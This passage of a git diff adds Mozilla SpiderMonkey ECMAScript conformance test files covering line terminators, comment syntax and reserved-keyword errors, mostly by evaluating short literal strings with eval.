+ "var VAR = 12345;VAR - - VAR",
+ 24690,
+ eval("var VAR = 12345;VAR- -VAR") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.2-1.js b/js/src/tests/ecma/LexicalConventions/7.2-1.js
new file mode 100644
index 000000000..f17143af5
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.2-1.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.2-1.js
+ ECMA Section: 7.2 Line Terminators
+ Description: - readability
+ - separate tokens
+ - may occur between any two tokens
+ - cannot occur within any token, not even a string
+ - affect the process of automatic semicolon insertion.
+
+ white space characters are:
+ unicode name formal name string representation
+ \u000A line feed <LF> \n
+ \u000D carriage return <CR> \r
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Line Terminators";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION, "var a\nb = 5; ab=10;ab;", 10, eval("var a\nb = 5; ab=10;ab") );
+new TestCase( SECTION, "var a\nb = 5; ab=10;b;", 5, eval("var a\nb = 5; ab=10;b") );
+new TestCase( SECTION, "var a\rb = 5; ab=10;ab;", 10, eval("var a\rb = 5; ab=10;ab") );
+new TestCase( SECTION, "var a\rb = 5; ab=10;b;", 5, eval("var a\rb = 5; ab=10;b") );
+new TestCase( SECTION, "var a\r\nb = 5; ab=10;ab;", 10, eval("var a\r\nb = 5; ab=10;ab") );
+new TestCase( SECTION, "var a\r\nb = 5; ab=10;b;", 5, eval("var a\r\nb = 5; ab=10;b") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.2-2-n.js b/js/src/tests/ecma/LexicalConventions/7.2-2-n.js
new file mode 100644
index 000000000..7f3bb8676
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.2-2-n.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.2.js
+ ECMA Section: 7.2 Line Terminators
+ Description: - readability
+ - separate tokens
+ - may occur between any two tokens
+ - cannot occur within any token, not even a string
+ - affect the process of automatic semicolon insertion.
+
+ white space characters are:
+ unicode name formal name string representation
+ \u000A line feed <LF> \n
+ \u000D carriage return <CR> \r
+
+ this test uses onerror to capture line numbers. because
+ we use on error, we can only have one test case per file.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Line Terminators";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "\r\r\r\nb";
+EXPECTED = "error"
+
+ new TestCase( SECTION, DESCRIPTION, "error", eval("\r\r\r\nb"));
+
+test();
+
diff --git a/js/src/tests/ecma/LexicalConventions/7.2-3-n.js b/js/src/tests/ecma/LexicalConventions/7.2-3-n.js
new file mode 100644
index 000000000..0d78e549c
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.2-3-n.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.2-3.js
+ ECMA Section: 7.2 Line Terminators
+ Description: - readability
+ - separate tokens
+ - may occur between any two tokens
+ - cannot occur within any token, not even a string
+ - affect the process of automatic semicolon insertion.
+
+ white space characters are:
+ unicode name formal name string representation
+ \u000A line feed <LF> \n
+ \u000D carriage return <CR> \r
+
+ this test uses onerror to capture line numbers. because
+ we use on error, we can only have one test case per file.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.2-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Line Terminators";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+DESCRIPTION = "\r\nb";
+EXPECTED = "error"
+
+ new TestCase( SECTION, "<cr>a", "error", eval("\r\nb"));
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.2-4-n.js b/js/src/tests/ecma/LexicalConventions/7.2-4-n.js
new file mode 100644
index 000000000..36a55d288
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.2-4-n.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.2.js
+ ECMA Section: 7.2 Line Terminators
+ Description: - readability
+ - separate tokens
+ - may occur between any two tokens
+ - cannot occur within any token, not even a string
+ - affect the process of automatic semicolon insertion.
+
+ white space characters are:
+ unicode name formal name string representation
+ \u000A line feed <LF> \n
+ \u000D carriage return <CR> \r
+
+ this test uses onerror to capture line numbers. because
+ we use on error, we can only have one test case per file.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.2-6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Line Terminators";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "\nb";
+EXPECTED = "error";
+
+new TestCase( SECTION, "\nb", "error", eval("\nb"));
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.2-5-n.js b/js/src/tests/ecma/LexicalConventions/7.2-5-n.js
new file mode 100644
index 000000000..44fd905b1
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.2-5-n.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.2.js
+ ECMA Section: 7.2 Line Terminators
+ Description: - readability
+ - separate tokens
+ - may occur between any two tokens
+ - cannot occur within any token, not even a string
+ - affect the process of automatic semicolon insertion.
+
+ white space characters are:
+ unicode name formal name string representation
+ \u000A line feed <LF> \n
+ \u000D carriage return <CR> \r
+
+ this test uses onerror to capture line numbers. because
+ we use on error, we can only have one test case per file.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.2-5";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Line Terminators";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION =
+ EXPECTED = "error";
+
+new TestCase( SECTION, "\rb", "error", eval("\rb"));
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.2-6.js b/js/src/tests/ecma/LexicalConventions/7.2-6.js
new file mode 100644
index 000000000..030a6a6ba
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.2-6.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.2-6.js
+ ECMA Section: 7.2 Line Terminators
+ Description: - readability
+ - separate tokens
+ - may occur between any two tokens
+ - cannot occur within any token, not even a string
+ - affect the process of automatic semicolon insertion.
+
+ white space characters are:
+ unicode name formal name string representation
+ \u000A line feed <LF> \n
+ \u000D carriage return <CR> \r
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.2-6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Line Terminators";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "var a\u000Ab = 5; ab=10;ab;", 10, eval("var a\nb = 5; ab=10;ab") );
+new TestCase( SECTION, "var a\u000Db = 5; ab=10;b;", 5, eval("var a\nb = 5; ab=10;b") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-1.js b/js/src/tests/ecma/LexicalConventions/7.3-1.js
new file mode 100644
index 000000000..0b080f664
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-1.js
@@ -0,0 +1,57 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-1.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase;
+
+testcase = new TestCase( SECTION,
+ "a comment with a line terminator string, and text following",
+ "pass",
+ "pass");
+
+// "\u000A" testcase.actual = "fail";
+
+
+testcase = new TestCase( SECTION,
+ "// test \\n testcase.actual = \"pass\"",
+ "pass",
+ "" );
+
+var x = "// test \n testcase.actual = 'pass'";
+
+testcase.actual = eval(x);
+
+test();
+
+// XXX bc replace test()
+function test() {
+ for ( gTc=0; gTc < gTestcases.length; gTc++ ) {
+ gTestcases[gTc].passed = writeTestCaseResult(
+ gTestcases[gTc].expect,
+ gTestcases[gTc].actual,
+ gTestcases[gTc].description +": "+
+ gTestcases[gTc].actual );
+
+ gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : " ignored chars after line terminator of single-line comment";
+ }
+ return ( gTestcases );
+}
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-10.js b/js/src/tests/ecma/LexicalConventions/7.3-10.js
new file mode 100644
index 000000000..494f8da06
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-10.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-10.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "code following multiline comment",
+ "pass",
+ "fail");
+
+/*//*/testcase.actual="pass";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-11.js b/js/src/tests/ecma/LexicalConventions/7.3-11.js
new file mode 100644
index 000000000..7ac777fba
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-11.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-11.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var testcase = new TestCase( SECTION,
+ "code following multiline comment",
+ "pass",
+ "pass");
+
+////testcase.actual="fail";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-12.js b/js/src/tests/ecma/LexicalConventions/7.3-12.js
new file mode 100644
index 000000000..8700d26a2
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-12.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-12.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "code following multiline comment",
+ "pass",
+ "pass");
+/*testcase.actual="fail";**/
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-13-n.js b/js/src/tests/ecma/LexicalConventions/7.3-13-n.js
new file mode 100644
index 000000000..ce26b91ee
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-13-n.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-13-n.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-13-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "nested comment";
+EXPECTED = "error";
+
+var testcase = new TestCase( SECTION,
+ "nested comment",
+ "error",
+ eval("/*/*\"fail\";*/*/"));
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-2.js b/js/src/tests/ecma/LexicalConventions/7.3-2.js
new file mode 100644
index 000000000..0b42cb849
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-2.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-2.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "a comment with a carriage return, and text following",
+ "pass",
+ "pass");
+
+// "\u000D" testcase.actual = "fail";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-3.js b/js/src/tests/ecma/LexicalConventions/7.3-3.js
new file mode 100644
index 000000000..c4e629aae
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-3.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-3.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "source text directly following a single-line comment",
+ "pass",
+ "fail");
+// a comment string
+testcase.actual = "pass";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-4.js b/js/src/tests/ecma/LexicalConventions/7.3-4.js
new file mode 100644
index 000000000..11a7bac8f
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-4.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-4.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "multiline comment ",
+ "pass",
+ "pass");
+
+/*testcase.actual = "fail";*/
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-5.js b/js/src/tests/ecma/LexicalConventions/7.3-5.js
new file mode 100644
index 000000000..bb3b7876b
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-5.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-5.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-5";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "a comment with a carriage return, and text following",
+ "pass",
+ "pass");
+
+// "\u000A" testcase.actual = "fail";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-6.js b/js/src/tests/ecma/LexicalConventions/7.3-6.js
new file mode 100644
index 000000000..59e4e7cc4
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-6.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-6.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+var testcase = new TestCase( SECTION,
+ "comment with multiple asterisks",
+ "pass",
+ "fail");
+
+/*
+***/testcase.actual="pass";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-7.js b/js/src/tests/ecma/LexicalConventions/7.3-7.js
new file mode 100644
index 000000000..f82ac011b
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-7.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-7.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-7";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "single line comment following multiline comment",
+ "pass",
+ "pass");
+
+/*
+***///testcase.actual="fail";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-8.js b/js/src/tests/ecma/LexicalConventions/7.3-8.js
new file mode 100644
index 000000000..757968646
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-8.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-7.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-8";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "code following multiline comment",
+ "pass",
+ "fail");
+
+/**/testcase.actual="pass";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.3-9.js b/js/src/tests/ecma/LexicalConventions/7.3-9.js
new file mode 100644
index 000000000..e91047d7e
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.3-9.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.3-9.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.3-9";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Comments";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var testcase = new TestCase( SECTION,
+ "code following multiline comment",
+ "pass",
+ "fail");
+
+/*/*/testcase.actual="pass";
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.1-1-n.js b/js/src/tests/ecma/LexicalConventions/7.4.1-1-n.js
new file mode 100644
index 000000000..f5044b854
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.1-1-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.1-1-n.js
+ ECMA Section: 7.4.1
+
+ Description:
+
+ Reserved words cannot be used as identifiers.
+
+ ReservedWord ::
+ Keyword
+ FutureReservedWord
+ NullLiteral
+ BooleanLiteral
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-1-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var null = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var null = true", "error", eval("var null = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.1-2-n.js b/js/src/tests/ecma/LexicalConventions/7.4.1-2-n.js
new file mode 100644
index 000000000..8012fbfe2
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.1-2-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.1-2.js
+ ECMA Section: 7.4.1
+
+ Description:
+
+ Reserved words cannot be used as identifiers.
+
+ ReservedWord ::
+ Keyword
+ FutureReservedWord
+ NullLiteral
+ BooleanLiteral
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-2-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var true = false";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var true = false", "error", eval("var true = false") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.1-3-n.js b/js/src/tests/ecma/LexicalConventions/7.4.1-3-n.js
new file mode 100644
index 000000000..2060370f1
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.1-3-n.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.1-3-n.js
+ ECMA Section: 7.4.1
+
+ Description:
+
+ Reserved words cannot be used as identifiers.
+
+ ReservedWord ::
+ Keyword
+ FutureReservedWord
+ NullLiteral
+ BooleanLiteral
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-3-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+DESCRIPTION = "var false = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var false = true", "error", eval("var false = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-1-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-1-n.js
new file mode 100644
index 000000000..cf9ae9c6c
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-1-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-1.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.2-1-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var break = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var break = true", "error", eval("var break = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-10-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-10-n.js
new file mode 100644
index 000000000..83a2fb124
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-10-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-10.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-10-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var if = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var if = true", "error", eval("var if = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-11-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-11-n.js
new file mode 100644
index 000000000..21f45e135
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.2-11-n.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.2-11-n.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "7.4.1-11-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Keywords";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var this = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var this = true", "error", eval("var this = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.2-12-n.js b/js/src/tests/ecma/LexicalConventions/7.4.2-12-n.js
new file mode 100644
index 000000000..fb4033659
--- /dev/null
